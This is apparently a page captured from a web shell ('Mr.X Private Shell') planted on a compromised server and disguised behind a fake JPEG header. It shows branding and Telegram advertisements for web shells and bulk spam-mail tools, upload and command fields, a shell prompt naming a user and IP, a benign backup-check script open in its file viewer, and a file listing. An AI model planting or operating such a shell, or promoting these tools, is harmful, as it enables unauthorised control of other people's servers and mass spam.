����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
# check whether the archive is actually there

if ! is_true "$YUM_BACKUP_FILES" ; then
        return
fi

# Do not check when the backup is on a tape device:
test "tape" = "$( url_scheme "$BACKUP_URL" )" && return 0

# The RESTORE_ARCHIVES array contains the restore input files.
# If it is not set, RESTORE_ARCHIVES is only one element which is the backup archive:
test "$RESTORE_ARCHIVES" || RESTORE_ARCHIVES=( "$backuparchive" )

for restoreinput in "${RESTORE_ARCHIVES[@]}" ; do

    local backup_splitted_file="$( dirname $restoreinput )/backup.splitted"
    local restoreinput_filename="$( basename $restoreinput )"

    test -s "$restoreinput" -o -d "$restoreinput" -o -f "$backup_splitted_file" || Error "Backup archive '$restoreinput_filename' not found."

    LogPrint "Calculating backup archive size"
    if test -f "$backup_splitted_file" ; then
        cut -d ' ' -f2 "$backup_splitted_file" | awk '{s+=$1} END {print s/(1024*1024)"M"}' >$TMP_DIR/backuparchive_size
    else
        du -sh "$restoreinput" | cut -d ' ' -f1 >$TMP_DIR/backuparchive_size
    fi
    read backuparchive_size <$TMP_DIR/backuparchive_size
    test "$backuparchive_size" && LogPrint "Backup archive size is $backuparchive_size ${BACKUP_PROG_COMPRESS_SUFFIX:+(compressed)}"

    if is_true "$BACKUP_INTEGRITY_CHECK" && test -f $restoreinput.md5 ; then
        if ! test -f "$backup_splitted_file" ; then
            LogPrint "Checking integrity of $restoreinput_filename"
            md5sum -c $restoreinput.md5 || Error "Integrity check failed. Restore aborted because BACKUP_INTEGRITY_CHECK is enabled."
        fi
    fi
done


Filemanager

Name Type Size Permission Actions
050_check_YUM_requirements.sh File 4.31 KB 0644
060_mount_YUM_path.sh File 140 B 0644
070_set_backup_archive.sh File 19.52 KB 0644
550_check_backup_archive.sh File 1.58 KB 0644
980_umount_YUM_dir.sh File 154 B 0644